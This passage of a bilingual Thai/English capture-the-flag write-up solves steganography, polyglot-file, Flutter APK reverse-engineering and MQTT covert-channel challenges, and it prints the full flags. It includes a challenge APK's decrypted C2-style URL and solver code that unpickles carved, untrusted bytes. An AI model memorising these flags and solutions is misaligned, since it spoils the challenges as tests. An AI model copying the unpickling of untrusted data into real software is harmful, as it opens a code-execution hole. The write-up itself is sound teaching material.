desktop.png is a fake terminal screenshot; only the rendered text carries LSB noise. The IV is embedded in the RGB-flattened LSB stream, MSB-first, starting at flat offset 1000 into the RGB-flattened LSB stream. Because CBC only mixes the IV into the first block, blocks 2–3 are IV-independent and decrypt cleanly regardless of the IV; the known plaintext RTARF{ lives in block 1 (the only IV-dependent block). Here we simply read the 16 IV bytes straight from flat offset 1000:

# solved with Claude
from PIL import Image; import numpy as np, pickle
from Crypto.Cipher import AES; from Crypto.Util.Padding import unpad
mem=open("memory.dmp","rb").read()
key=mem[mem.find(b"KEY_FRAGMENT_1:")+15:][:6]+bytes.fromhex("93c75a20e6")+bytes.fromhex("a6684a6087")
ct=pickle.loads(mem[mem.find(b"PAYLOAD:")+8:][:0+len(mem)])  # (dict already carved above)
ct=pickle.loads(mem[mem.find(b"PAYLOAD:")+8:][:mem[mem.find(b"PAYLOAD:")+8:].find(b"u.")+2])[b'data']
bits=(np.array(Image.open("desktop.png").convert("RGB")).flatten()&1)
iv=bytes(int("".join(map(str,bits[1000+k:1000+k+8])),2) for k in range(0,128,8))
# iv = aac0af7075e05078343c2d7d9bebb3d8
print(unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16).decode())
# => RTARF{97ea1cec5a19d70275e3bb1113cbe0a7}
# key  = 0e7273900c6e93c75a20e6a6684a6087
# iv   = aac0af7075e05078343c2d7d9bebb3d8
# => RTARF{97ea1cec5a19d70275e3bb1113cbe0a7}

หมายเหตุความปลอดภัย: เราตรวจ pickle ด้วย pickletools.dis ก่อนเสมอ ยืนยันว่าเป็น data dict ล้วน ไม่มี opcode REDUCE/GLOBAL ที่รันโค้ดได้ จึง pickle.loads ได้อย่างปลอดภัย

Safety note: we disassembled the pickle with pickletools.dis first and confirmed it is a pure data dict with no code-executing REDUCE/GLOBAL opcodes, so pickle.loads is safe here.

=> RTARF{97ea1cec5a19d70275e3bb1113cbe0a7}#

5) Signal in the Noise - layered WAV steganography (RIFF metadata + 19 kHz Morse + left-channel LSB)#

Flag: RTARF{2e0bcf47debd567cb28f2b15085fa17f} Difficulty / คะแนน: Medium (200) Files / Target: signal_challenge.wav (44100 Hz, 16-bit, stereo PCM)

Layer 1 - the QR image carried in the WAV ICMT metadata; it decodes to SSTV_KEY:BACON_CIPHER_USE_LSB_PERMUTATION

Layer 2 - the Baconian hint image carried in the WAV INAM metadata

ไฟล์เป็น WAV PCM ธรรมดา แต่ซ่อนข้อมูลไว้ 4 ชั้น หลักการคือ RIFF/WAVE เก็บ metadata เป็น chunk แบบ LIST/INFO (เช่น ICMT=Comment, INAM=Title) ซึ่งเครื่องเล่นเพลงไม่แสดง แต่ exiftool อ่านได้หมด สองชั้นแรกจึงเป็นรูปภาพ base64 ที่ยัดไว้ใน field พวกนี้ ส่วนอีกสองชั้นซ่อนอยู่ใน “ตัวเสียง” เอง - ชั้นหนึ่งเป็นโทน Morse ที่ความถี่สูง 19 kHz (เกือบเลยหูคน) และชั้นสุดท้าย (ตัวธง) ซ่อนแบบ LSB ในบิตต่ำสุดของ sample ช่องซ้าย โดยเริ่มที่วินาทีที่ 5 การไล่ทีละชั้นตาม “คำใบ้” ที่ QR/Baconian ทิ้งไว้ทำให้เรารู้ว่าปลายทางคือ LSB ของ stream.

The file is an ordinary WAV PCM stream that hides data in four layers. A RIFF/WAVE container keeps metadata in LIST/INFO chunks (ICMT=Comment, INAM=Title) that media players ignore but exiftool reads. The first two layers are base64 PNGs stuffed into those fields; the other two live in the audio itself - a Morse tone parked in the inaudible 19 kHz band, and the flag encoded in the least-significant bit of the left-channel samples starting at the 5-second mark. The QR and Baconian hints point us straight at that LSB stream.

Step 1 - dump RIFF/INFO metadata:

exiftool "/…/signal_challenge.wav"
# Comment : QR_SPECTROGRAM:iVBORw0KGgoAAAANSUhEUg... (base64 PNG)
# Title   : SSTV_DECODED:iVBORw0KGgoAAAANSUhEUg...   (base64 PNG)
# Encoding: Microsoft PCM  |  Num Channels: 2  |  Sample Rate: 44100

Step 2 - Layer 1: base64 to PNG to read the QR (Layer 1 hint):

# solved with Claude
import base64, subprocess, cv2
b64 = subprocess.check_output(["exiftool","-b","-Comment","signal_challenge.wav"]).decode()
open("qr.png","wb").write(base64.b64decode(b64.split(":",1)[1].strip()))  # strip "QR_SPECTROGRAM:"
data,_,_ = cv2.QRCodeDetector().detectAndDecode(cv2.imread("qr.png"))
print(data)   # => SSTV_KEY:BACON_CIPHER_USE_LSB_PERMUTATION

Step 3 - Layer 2: the INAM/Title image is a Baconian hint:

# solved with Claude - decode INAM base64 to a PNG, open it
b64 = subprocess.check_output(["exiftool","-b","-Title","signal_challenge.wav"]).decode()
open("inam.png","wb").write(base64.b64decode(b64.split(":",1)[1].strip()))  # "SSTV_DECODED:"
# image text: "SIGNAL IN THE NOISE / Baconian Cipher Text
#   AAABB AABBA AABBB / ABBAA ABBBA BAABB / Decode: A=0 B=1, 5-bit groups / Key: use with LSB stream"

รูป Baconian ยืนยันว่ากุญแจสุดท้ายคือ LSB stream (ชั้น 4) ส่วนโทน 19 kHz (ชั้น 3) ถอด Morse ได้คำว่า STED (โจทย์ตั้งใจสื่อ theme “STEG”/steganography แต่ tone จริงในไฟล์ encode เป็น STED - ยืนยันด้วยการถอดเอง: ... - . -..).

The Baconian image confirms the final key is the LSB stream (Layer 4); the 19 kHz Morse (Layer 3) actually decodes to STED (the brief intended “STEG” for the steganography theme, but the real tone in the file encodes STED - verified by decoding it: ... - . -..).

Step 4 - Layer 3: Morse in the 19 kHz band of the LEFT channel:

# solved with Claude
import numpy as np, wave
from scipy.signal import butter, filtfilt, hilbert
w=wave.open("signal_challenge.wav","rb"); sr=w.getframerate()
left=np.frombuffer(w.readframes(w.getnframes()),np.int16).reshape(-1,2)[:,0].astype(float)
b,a=butter(4,[18800/(sr/2),19200/(sr/2)],btype='band')     # isolate 19 kHz
env=np.abs(hilbert(filtfilt(b,a,left)))                    # amplitude envelope
# on/off run lengths (unit≈40): dot≈40, dash≈120, letter-gap≈160
#   ...  -  .  -..   =>  S T E D   (the tone spells STED; the brief said "STEG")

Step 5 - Layer 4 (THE FLAG): LSB of the left channel from the 5 s mark:

# solved with Claude
import numpy as np, wave
w=wave.open("signal_challenge.wav","rb"); sr=w.getframerate()
left=np.frombuffer(w.readframes(w.getnframes()),np.int16).reshape(-1,2)[:,0]
bits=(left[5*sr:] & 1).astype(np.uint8)          # LSB from sample 5*44100
raw=np.packbits(bits[:len(bits)//8*8]).tobytes()
print(raw[:39])
# => b'RTARF{2e0bcf47debd567cb28f2b15085fa17f}'
# => RTARF{2e0bcf47debd567cb28f2b15085fa17f}

6) Polyglot Inception - PDF/ZIP polyglot + zero-width IV stego + AES-CBC#

Flag: RTARF{ef3ceeb747968b83019754293f435390} Difficulty / คะแนน: Hard (400) Files / Target: challenge.pdf (2485 B), secret.bin (48 B)

โจทย์ให้ PDF ที่เปิดได้ปกติ (โชว์ “CLASSIFIED DOCUMENT”) แต่ AV ตีว่า “abnormal” - สัญญาณคลาสสิกของ polyglot: มีข้อมูลถูกต่อท้ายไฟล์. binwalk เจอ ZIP ต่อท้ายจริงที่ offset 1210 (0x4BA) ซึ่งอยู่ หลัง %%EOF (offset 1204) - ตัว reader ของ PDF หยุดอ่านที่ %%EOF เลยมองไม่เห็น ส่วน ZIP อ่านจากท้ายไฟล์ (End-of-Central-Directory) เลยเปิดได้ทั้งคู่. ภายใน ZIP มี decoder.py และ readme.txt ที่อธิบาย 3 ชั้นของโจทย์ไว้หมด:

  1. ชั้นที่ 1 - Polyglot: PDF ซ่อน ZIP ไว้ท้ายไฟล์
  2. ชั้นที่ 2 - Zero-Width stego: บรรทัดคอมเมนต์ % ใน header ของ PDF (ตรงหลัง Timestamp:) ยัดตัวอักษรล่องหน U+200B (ZWSP=บิต 0) กับ U+200C (ZWNJ=บิต 1) ไว้ 128 ตัว = 16 ไบต์ = IV ของ AES
  3. ชั้นที่ 3 - AES-CBC: key = MD5(unix timestamp) โดย timestamp คือ 1704067200 จากฟิลด์ CreationDate/Timestamp ใน metadata

พอรู้ครบ 3 ชั้นก็ถอด secret.bin (48 = 3×16 บล็อก AES) ได้ทันที.

The PDF opens fine (shows “CLASSIFIED DOCUMENT”) but AV calls it “abnormal” - the classic tell of a polyglot with appended data. binwalk confirms a ZIP glued on at offset 1210 (0x4BA), which sits after the PDF’s %%EOF at offset 1204 - the PDF reader stops at %%EOF and never sees it, while ZIP is parsed from its end-of-central-directory, so both formats coexist. Inside the ZIP are decoder.py and readme.txt, which spell out the three nested layers:

  1. Layer 1 - Polyglot: PDF hides a ZIP at the tail.
  2. Layer 2 - Zero-width stego: the % comment line in the PDF header (right after Timestamp:) carries 128 invisible characters, U+200B (ZWSP = bit 0) and U+200C (ZWNJ = bit 1), MSB-first = 16 bytes = the AES IV.
  3. Layer 3 - AES-CBC: key = MD5(unix timestamp), where the timestamp 1704067200 comes from the CreationDate/Timestamp metadata.

With all three known, secret.bin (48 = 3×16, three AES blocks) decrypts in one shot.

Step 1 - spot the polyglot and carve the appended ZIP:

file challenge.pdf         # PDF document, version 1.4, 1 page(s)
binwalk challenge.pdf
# 0     0x0    PDF document, version: "1.4"
# 1210  0x4BA  Zip archive data ... name: decoder.py
# 2116  0x844  Zip archive data ... name: readme.txt
# 2463  0x99F  End of Zip archive
python3 -c "d=open('challenge.pdf','rb').read();print('%%EOF@',d.find(b'%%EOF'),'PK@',d.find(b'PK\x03\x04'))"
# %%EOF@ 1204 PK@ 1210   <- ZIP begins just past PDF EOF => polyglot
unzip -o challenge.pdf -d extracted    # -> decoder.py, readme.txt

readme.txt hands over the whole scheme, and decoder.py gives the exact bit convention (a base64+marshal _c blob in it is just a decoy - a dead Python code object that won’t even load on modern CPython):

Decrypt secret.bin using AES-CBC
Key : derived from PDF CreationDate timestamp (unix)
IV  : hidden as Zero-Width Characters (U+200B/U+200C) in PDF comment
# from decoder.py - the IV bit convention
def _iv(s):
    b=[]
    for c in s:
        if   c=='​': b.append(0)   # ZWSP -> 0
        elif c=='‌': b.append(1)   # ZWNJ -> 1
    return bytes([sum(b[i*8+j]<<(7-j) for j in range(8)) for i in range(len(b)//8)])
def _k(t): return hashlib.md5(t.encode()).digest()   # key = MD5(timestamp)

Step 2 - confirm the zero-width payload lives in the % comment:

python3 -c "
d=open('challenge.pdf','rb').read()
i=d.find(b'Timestamp: 1704067200'); print(d[i:i+40])
"
# b'Timestamp: 1704067200\n%\xe2\x80\x8b\xe2\x80\x8b\xe2\x80\x8b...'
#                          ^ '%' then a run of E2 80 8B (U+200B) / E2 80 8C (U+200C)
# 128 zero-width chars -> exactly 16 bytes of IV

Step 3 - derive key + IV and AES-CBC decrypt secret.bin:

# solve.py - solved with Claude - full 3-layer chain
import hashlib
from Crypto.Cipher import AES

pdf    = open('challenge.pdf','rb').read()
secret = open('secret.bin','rb').read()          # 48 bytes

# Layer 2: pull the zero-width run from the PDF header comment -> IV
header = pdf.split(b'\n1 0 obj')[0].decode('utf-8')
bits = [0 if c=='​' else 1 for c in header if c in ('​','‌')]
iv = bytes(sum(bits[i*8+j]<<(7-j) for j in range(8)) for i in range(len(bits)//8))

# Layer 3: key = MD5(unix timestamp from CreationDate), AES-CBC
key = hashlib.md5(b"1704067200").digest()
pt  = AES.new(key, AES.MODE_CBC, iv).decrypt(secret)

print("IV :", iv.hex())    # 0000200b200c200d0000200b200c200d
print("KEY:", key.hex())   # 792dfd640a947143b70eb637d7e38339
print("FLAG:", pt[:-pt[-1]].decode())   # strip PKCS7 (9x 0x09)
IV : 0000200b200c200d0000200b200c200d
KEY: 792dfd640a947143b70eb637d7e38339
FLAG: RTARF{ef3ceeb747968b83019754293f435390}

น่าสังเกตว่า IV ที่ถอดได้ (0000200b 200c200d ...) ไม่ใช่ค่าสุ่ม แต่ค่าไบต์จงใจอ่านออกมาเป็น code point 200b/200c/200d เป็นลายเซ็นของโจทย์ (ในไฟล์จริงมีแค่ U+200B กับ U+200C ส่วน 200d เป็นแค่ค่าไบต์ใน IV) - และยืนยันว่า decode บิตถูกทิศ (MSB-first) แล้ว. plaintext ลงตัว 48 ไบต์พอดี = flag 39 ไบต์ + PKCS7 padding 9 ไบต์ (0x09).

Note the recovered IV (0000200b 200c200d ...) isn’t random - its byte values deliberately read like the zero-width code points 200b/200c/200d as the challenge’s signature (only U+200B and U+200C actually occur in the PDF; the 200d is just an IV byte value), which also confirms the bit order (MSB-first) is right. The plaintext fills the 48 bytes exactly: 39-byte flag + 9 bytes of PKCS7 padding (0x09).

# => RTARF{ef3ceeb747968b83019754293f435390}

Mobile Security#

7) Health Check ez - the “flag-looking” string is a decoy AES key; the real flag is a hardcoded ciphertext#

Flag: RTARF{9d7f3254f959fd3ee9a357891911af8a} Difficulty / คะแนน: Easy (100) Files / Target: mobile_challege_easy_hard.apk (20 MB Flutter APK - the same binary also carries the hard “Just Need True (C2)” challenge, see #9)

APK ตัวนี้ชื่อบอกว่า Kotlin/Android แต่พอแตกไฟล์เจอ assets/flutter_assets/ + lib/*/libapp.so + libflutter.so = เป็นแอป Flutter โค้ดจริงถูกคอมไพล์เป็น Dart AOT snapshot ฝังใน libapp.so (ไม่ได้อยู่ใน classes.dex) และ Dart AOT เก็บ string literal ทั้งหมดเป็น plaintext ใน object pool ดังนั้นแค่ strings ก็เห็นค่าคงที่ทั้งหมด

Brief บอกว่า “มี health check ทุก 3 วินาที” - ในโค้ดมี Timer.periodic ยิง health-check แล้ว print ค่า flag ออกมา ตรงนั้นมี log label flag-> / Flag---> อยู่ข้าง ๆ สตริงที่สะดุดตา [captianpoipet]_flag{mysecretct}

กับดักสำคัญ (จุดที่ solver รอบแรกพลาด): สตริง [captianpoipet]_flag{mysecretct} ไม่ใช่ flag ทั้งที่หน้าตาเหมือน flag (มีคำว่า flag{...} อยู่ในตัว) - มันยาว 32 ไบต์พอดี = AES-256 key ต่างหาก ตัว flag จริงถูกเก็บเป็น ciphertext AES-256-CBC ที่ hardcode ไว้เป็น base64 (พร้อม IV nomorebetscammer ยาว 16 ไบต์พอดี) วิธียืนยันว่าอันไหนคือ flag: ลองถอด base64 blob ทุกก้อนด้วย AES-256-CBC(key, IV) แล้วเช็ค PKCS7 padding - ก้อนที่ padding ถูกและได้ ASCII อ่านออกคือของจริง

พอถอด health-check blob (V8RA...) จะได้ RTARF{9d7f3254f959fd3ee9a357891911af8a} - นี่คือค่าที่ health check จะ print ทุก 3 วินาที ไม่ต้องรันแอปหรือรอ timer เลย และเพราะเป็น APK ตัวเดียวกับข้อ C2 (hard) กุญแจตัวเดียวกันนี้ยังถอด flag ของข้อ #9 ได้ด้วย

Despite the Kotlin/Android label, unzipping shows assets/flutter_assets/ + lib/*/libapp.so + libflutter.so - a Flutter app whose real logic is a Dart AOT snapshot inside libapp.so (not classes.dex). Dart AOT stores every string literal as plaintext in the object pool, so strings reveals all constants.

The brief says “a health check every 3 seconds”: a Timer.periodic fires the check and prints the flag, and near its flag-> / Flag---> log labels sits the eye-catching string [captianpoipet]_flag{mysecretct}.

The trap (which the first solver fell into): [captianpoipet]_flag{mysecretct} is not the flag even though it literally contains flag{...} - it is exactly 32 bytes = the AES-256 key. The real flag is stored as AES-256-CBC ciphertext hardcoded in base64 (with the IV nomorebetscammer, exactly 16 bytes). The way to tell which is which: AES-256-CBC-decrypt every base64 blob with (key, IV) and check the PKCS7 padding - the blob whose padding validates and yields readable ASCII is the real flag.

Decrypting the health-check blob (V8RA...) gives RTARF{9d7f3254f959fd3ee9a357891911af8a} - the value the health check prints every 3 seconds, recoverable with no emulator and no waiting. Because it is the same APK as the hard C2 task, this same key also decrypts #9’s flag.

Step 1 - confirm Flutter and pull the constants out of libapp.so:

unzip -o -q mobile_challege_easy_hard.apk 'lib/*/libapp.so' -d out
strings -n 5 out/lib/arm64-v8a/libapp.so | grep -iE 'captianpoipet|nomorebet|RTARF|flag'
#  [captianpoipet]_flag{mysecretct}     <- 32 bytes -> looks like a flag, is actually the KEY
#  nomorebetscammer                     <- 16 bytes -> the CBC IV
#  (no literal RTARF{...} exists in the binary - the flags are ciphertext)

Step 2 - decrypt every base64 blob; the one with valid padding is the flag:

# solved with Claude - the "flag-shaped" string is the AES-256 key, not the flag
import re, base64
from Crypto.Cipher import AES
so  = open('out/lib/arm64-v8a/libapp.so','rb').read()
KEY = b"[captianpoipet]_flag{mysecretct}"     # 32 bytes = AES-256 key (the decoy)
IV  = b"nomorebetscammer"                     # 16 bytes = CBC IV
def unpad(b):
    n = b[-1]
    return b[:-n] if 1 <= n <= 16 and b[-n:] == bytes([n])*n else None
for tok in set(re.findall(rb'[A-Za-z0-9+/]{16,}={0,2}', so)):
    s = tok.decode()
    if len(s) % 4: continue
    try: raw = base64.b64decode(s, validate=True)
    except Exception: continue
    if len(raw) % 16 or not raw: continue
    pt = unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(raw))
    if pt and pt.decode(errors='ignore').isprintable():
        print(s[:20], '->', pt.decode())
# V8RA0t0jPr/sschi/... -> RTARF{9d7f3254f959fd3ee9a357891911af8a}   <- Health Check (easy, THIS)
# w/Wj8dAspDepRvHtSK5... -> RTARF{6dbbb04cd2601028187c3d14420978c1} <- C2 (hard, #9)
# ZPNyf85f1yTBjoNoAfu... -> http://apidrexor.duckdns.org:5000/api    <- shared C2 URL

=> RTARF{9d7f3254f959fd3ee9a357891911af8a}#

8) Just Need True (C2) - Flutter AOT with a hardcoded AES key/IV; the C2 “result” is only a gate#

Flag: RTARF{6dbbb04cd2601028187c3d14420978c1} Difficulty / คะแนน: Hard (400) Files / Target: mobile_challege_easy_hard.apk, FakeHttpServer.py - C2 endpoint http://apidrexor.duckdns.org:5000/api/loginx

APK ตัวนี้เป็นแอป Flutter (มี lib/arm64-v8a/libapp.so + libflutter.so) ดังนั้นโค้ดจริงถูกคอมไพล์เป็น Dart AOT อยู่ใน libapp.so (Dart 3.8.1) ไม่ใช่ใน classes.dex - งานหลักคือการรื้อ snapshot ตัวนี้ออกมา ตัว FakeHttpServer.py บอกใบ้ flow ของ C2 ไว้แล้ว: POST /api/loginx พร้อม {pin} แล้วเซิร์ฟเวอร์ตอบ {"result": true} เสมอ แอปจะปลดล็อก/โชว์ flag เมื่อได้ result=true

จุดที่ “มันรั่ว” คือ แอปไม่ได้เอา flag มาจากเซิร์ฟเวอร์ และไม่ได้ใช้ค่า response มาสร้างกุญแจอะไรเลย - flag ถูกฝังเป็นข้อความเข้ารหัส AES แบบ hardcode ทั้งกุญแจและ IV อยู่ในไบนารี ตัว result:true เป็นแค่ “ประตู UI” เท่านั้น เมื่อ dump strings จาก libapp.so จะเจอของครบชุด: กุญแจ [captianpoipet]_flag{mysecretct} (ยาว 32 ไบต์พอดี = AES-256), IV nomorebetscammer (16 ไบต์พอดี), และ base64 อีก 3 ก้อน (URL ของ C2 + flag สองอัน เพราะ APK ตัวนี้แชร์กับโจทย์ Health Check แบบ easy) ดังนั้นไม่ต้องรันแอปหรือรอเซิร์ฟเวอร์จริงเลย - ถอดรหัสออฟไลน์ได้ทันที

The APK is a Flutter app (lib/arm64-v8a/libapp.so + libflutter.so), so the real logic is Dart AOT-compiled inside libapp.so (Dart 3.8.1), not in classes.dex. FakeHttpServer.py spells out the C2 flow: POST /api/loginx with {pin}, and the server always answers {"result": true}; the app “unlocks”/shows the flag on result=true.

The leak: the flag never comes from the server and the response value is not mixed into any key - the flag is an AES ciphertext with the key AND IV hardcoded in the binary, and result:true is only a UI gate. Dumping strings from libapp.so yields the whole kit: key [captianpoipet]_flag{mysecretct} (exactly 32 bytes = AES-256), IV nomorebetscammer (exactly 16 bytes), and three base64 blobs (the C2 URL plus two flags - the APK is shared with the easy “Health Check” task). So no emulator and no live server are needed; it decrypts offline.

Step 1 - unpack and confirm it is Flutter AOT (Dart 3.8.1):

unzip -o mobile_challege_easy_hard.apk -d unzip
file unzip/lib/arm64-v8a/libapp.so
#  => ELF 64-bit ... ARM aarch64 ... stripped   (Flutter AOT snapshot)
strings -a unzip/lib/arm64-v8a/libflutter.so | grep -m1 '(stable)'
#  => 3.8.1 (stable) ... on "android_arm64"

Step 2 - pull the interesting Dart string constants:

strings -n 5 unzip/lib/arm64-v8a/libapp.so | grep -iE 'loginx|PIN|Flag|captianpoipet|nomore'
#  /loginx            PIN Login v6        Enter 6-digit PIN     PIN wrong
#  Flag--->           flag->              [captianpoipet]_flag{mysecretct}
#  nomorebetscammer

The two stand-out app secrets: [captianpoipet]_flag{mysecretct} is exactly 32 chars (AES-256 key) and nomorebetscammer is exactly 16 chars (CBC IV). Scanning every base64 token in the binary and trying AES-CBC(key, IV=0) shows the classic CBC property - a wrong IV corrupts only block 0, so blocks 1..n already come out in clear:

# solved with Claude - leak-through-wrong-IV probe
import re, base64
from Crypto.Cipher import AES
data = open("unzip/lib/arm64-v8a/libapp.so","rb").read()
key  = b"[captianpoipet]_flag{mysecretct}"
for s in {m.decode() for m in re.findall(rb'[A-Za-z0-9+/]{40,}={0,2}', data)}:
    try: b = base64.b64decode(s)
    except: continue
    if len(b) and len(b) % 16 == 0:
        pt = AES.new(key, AES.MODE_CBC, b"\x00"*16).decrypt(b)
        if b"}" in pt or b".org" in pt:
            print(pt)
# b'<16 garbage>.duckdns.org:5000/api\x0b...'
# b'<16 garbage>59fd3ee9a357891911af8a}\t...'   <- PKCS7 pad 0x09
# b'<16 garbage>601028187c3d14420978c1}\t...'

จากตรงนี้เดา “ก้อนแรก 16 ไบต์” ได้จาก plaintext ที่รู้แน่ ๆ: URL ต้องขึ้นต้น http:// และ flag ต้องขึ้นต้น RTARF{ เอาค่า D(C0) (ก็คือ block0 ตอนใช้ IV=0) ไป XOR กับ prefix ที่รู้ จะได้ไบต์ของ IV จริงออกมาเป็น nomoreb... แล้วค่อยไปยืนยันด้วย grep ในไบนารีว่าสตริงเต็มคือ nomorebetscammer พอดี (“no more bet scammer” - ธีมโจทย์คือแก๊งคอลเซ็นเตอร์/พนันปอยเปต ตามชื่อ captianpoipet และโดเมน apidrexor.duckdns.org)

The first 16 bytes fall out from known plaintext: the URL starts http:// and the flags start RTARF{. XOR the IV=0 block-0 output D(C0) with those known prefixes and the true IV bytes appear as nomoreb...; a grep then confirms the full stored string is nomorebetscammer (“no more bet scammer” - matching the scam/casino theme: captianpoipet, domain apidrexor.duckdns.org).

# recover IV[0:7] from known prefixes
D = bytes.fromhex("3c3b2c3d341e540116110151590e0140")   # AES-ECB(key, flag_C0)
print(bytes(a ^ b for a, b in zip(D, b"RTARF{")))       # b'nomore'
D_url = bytes.fromhex("061b191f484a4d04041a071308150a00")
print(bytes(a ^ b for a, b in zip(D_url, b"http://")))  # b'nomoreb'
# grep the rest:
#   grep -ao 'nomore[a-z]*' libapp.so  =>  nomorebetscammer   (16 bytes)

Step 3 - decrypt all three constants with the real key + IV:

# solved with Claude
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY = b"[captianpoipet]_flag{mysecretct}"   # AES-256
IV  = b"nomorebetscammer"
dec = lambda b64: unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(b64)), 16).decode()
print(dec("ZPNyf85f1yTBjoNoAfufknxk8RQLexJ/ekgrCf9NojKXYpQ8TlHQzQLBRndNqoTB"))
print(dec("w/Wj8dAspDepRvHtSK5sHTqcf0oOHQKHSxWp1zxJoGmLBWy8wEfLvPRmq9l8gPFL"))
print(dec("V8RA0t0jPr/sschi/h9NU3HIQhi1ALE/RYY/4PxpA5jMpttd83X1ZA4SHryw9KqG"))
http://apidrexor.duckdns.org:5000/api          <- C2 base; + /loginx = FakeHttpServer route
RTARF{6dbbb04cd2601028187c3d14420978c1}         <- "PIN Login v6" C2 screen  (this challenge)
RTARF{9d7f3254f959fd3ee9a357891911af8a}         <- sibling "Health Check" (easy) flag

APK ตัวเดียวบรรจุสองโจทย์ (easy Health Check + hard C2) จึงมี flag สองอัน แต่มี C2 URL แค่อันเดียว คือ apidrexor.duckdns.org ซึ่งต่อกับ /loginx เป็น http://apidrexor.duckdns.org:5000/api/loginx ตรงกับ route ใน FakeHttpServer.py เป๊ะ ๆ ดูจากลำดับการอ้างอิงค่าคงที่ใน snapshot: กลุ่ม Enter 6-digit PIN + PIN Login v6 + C2 URL จะจับคู่กับ ciphertext w/Wj... ดังนั้นหน้าจอ C2 (hard) คืนค่า flag RTARF{6dbbb04cd2601028187c3d14420978c1} ส่วน V8RA... เป็นของหน้า Health Check (easy)

วิธี “ตามสคริปต์” ถ้าจะรันจริง: ชี้โดเมน apidrexor.duckdns.org มาที่เครื่องเรา (แก้ /etc/hosts หรือ DNS) แล้วรัน python3 FakeHttpServer.py (ฟัง 0.0.0.0:5000), กรอก PIN ในแอป แอปจะ POST /api/loginx แล้วได้ {"result": true} กลับมา จากนั้นแอปถอด AES แล้วโชว์ flag แต่เพราะกุญแจ+IV ถูก hardcode เราถอดออฟไลน์ได้เลยโดยไม่ต้องรันแอปด้วยซ้ำ

The single APK bundles both tasks (easy Health Check + hard C2), hence two flags, but only one C2 URL - apidrexor.duckdns.org, which with /loginx becomes http://apidrexor.duckdns.org:5000/api/loginx, exactly the FakeHttpServer.py route. By the constant reference order in the snapshot, the Enter 6-digit PIN + PIN Login v6 + C2-URL group pairs with ciphertext w/Wj..., so the C2 (hard) screen reveals RTARF{6dbbb04cd2601028187c3d14420978c1}; V8RA... belongs to the easy Health Check screen.

To actually drive it live: point apidrexor.duckdns.org at your host (/etc/hosts/DNS), run python3 FakeHttpServer.py (listens 0.0.0.0:5000), enter a PIN to the app POSTs /api/loginx to gets {"result": true} to the app AES-decrypts and shows the flag. But since the key+IV are hardcoded, the flag is recoverable offline without running the app at all.

# => RTARF{6dbbb04cd2601028187c3d14420978c1}

Network#

9) Dead Decimal - MQTT covert channel hidden in sensor decimal precision#

Flag: RTARF{b388690b0fc98d0f04bc7e8d8d46a516} Difficulty / คะแนน: Easy (100) Files / Target: bms_capture.pcap, device_registry.json

โจทย์เป็น traffic MQTT ของระบบ Building Management System (BMS) ตึก AcmeTower-BKK มี broker 10.50.0.100 และ sensor กระจายใน 3 zone (Z01/Z02/Z03) เผยแพร่ค่าอุณหภูมิ/ความชื้น/CO2 ผ่าน PUBLISH ปกติ (ใน capture นี้มี 16 topic - 15 ตัวที่อนุญาต + 1 ตัวแปลกปลอม จาก PUBLISH 174 ครั้ง) จุดสำคัญอยู่ที่ประโยคเดียวใน device_registry.json: “All sensors report readings with standard single-decimal precision” - sensor แอนะล็อกที่ถูกต้องรายงานค่าด้วย ทศนิยม 1 ตำแหน่ง (เช่น 22.8, 957.2) ส่วน motion sensor รายงานเป็นจำนวนเต็ม 0/1 และไฟล์ registry ก็ลิสต์ topic ของอุปกรณ์ที่ได้รับอนุญาตไว้ครบ

เมื่อดึง PUBLISH ทั้งหมดออกมาแล้วเทียบ topic กับ registry จะเจออุปกรณ์แปลกปลอมชื่อ Z02-CO2-03 (topic bms/Z02/co2/Z02-CO2-03) ที่ ไม่มีอยู่ใน authorized_devices และค่าที่มันส่งมี ทศนิยม 3 ตำแหน่ง ผิดจากมาตรฐาน เช่น 719.051, 785.099, 815.049 - นี่คือ “Dead Decimal”: ช่องทางลักลอบส่งข้อมูลที่ซ่อนอยู่ใน “precision” ของค่าเซนเซอร์ ส่วนทศนิยม 3 หลัก (051, 099, 049, …) จริง ๆ แล้วคือ รหัส ASCII 3 หลัก ต่อกันเป็นสตริงลับ นำสตริงนั้นไป md5 ก็ได้ flag

This is MQTT traffic from the AcmeTower-BKK Building Management System: broker 10.50.0.100, sensors across zones Z01/Z02/Z03 publishing temp/humidity/CO2 values (this capture carries 16 device topics - 15 authorized + 1 rogue - over 174 PUBLISH messages). The load-bearing clue is one line in device_registry.json: “All sensors report readings with standard single-decimal precision.” Every legitimate analog sensor reports exactly one decimal place (e.g. 22.8, 957.2) - the lone motion sensor reports integer 0/1 - and the registry lists the topic of every authorized device.

Extracting all PUBLISH packets and cross-referencing topics against the registry reveals a rogue device Z02-CO2-03 (topic bms/Z02/co2/Z02-CO2-03) that is not in authorized_devices, and whose readings carry three decimal places instead of one: 719.051, 785.099, 815.049, … That is the “Dead Decimal” covert channel - data smuggled inside the decimal precision. The 3-digit fractional parts (051, 099, 049, …) are ASCII codes; concatenating their characters yields the hidden phrase, and md5 of that phrase is the flag.

Step 1 - extract every MQTT PUBLISH (topic + payload) with tshark:

tshark -r bms_capture.pcap -Y "mqtt.msgtype==3" \
  -T fields -e frame.number -e mqtt.topic -e mqtt.msg > pub.txt
# mqtt.msg is hex ASCII, e.g. 3731392e303531 -> "719.051"
# 174 PUBLISH packets total

Step 2 - diff topics against the registry, isolate the rogue device, decode:

# solved with Claude
import json, binascii, hashlib
reg  = json.load(open("device_registry.json"))
auth = {d["topic"] for d in reg["authorized_devices"]}      # 15 authorized topics

rows = []
for line in open("pub.txt"):
    fn, topic, msg = line.rstrip("\n").split("\t")
    rows.append((int(fn), topic, binascii.unhexlify(msg).decode()))
rows.sort()                                                  # keep capture order

unauth = [r for r in rows if r[1] not in auth]
# -> 18 publishes, ALL on bms/Z02/co2/Z02-CO2-03, ALL with 3 decimals:
#    721.100 719.051 785.099 815.049 738.109 749.052 720.108 727.095
#    755.049 812.115 789.095 745.116 771.104 804.051 737.095 732.107 760.051 769.121

dec = [r[2].split(".")[1] for r in unauth]                   # 3-digit fractional part
msg = "".join(chr(int(d)) for d in dec)                      # ASCII decode
print(msg)                                                   # d3c1m4l_1s_th3_k3y
print("RTARF{" + hashlib.md5(msg.encode()).hexdigest() + "}")

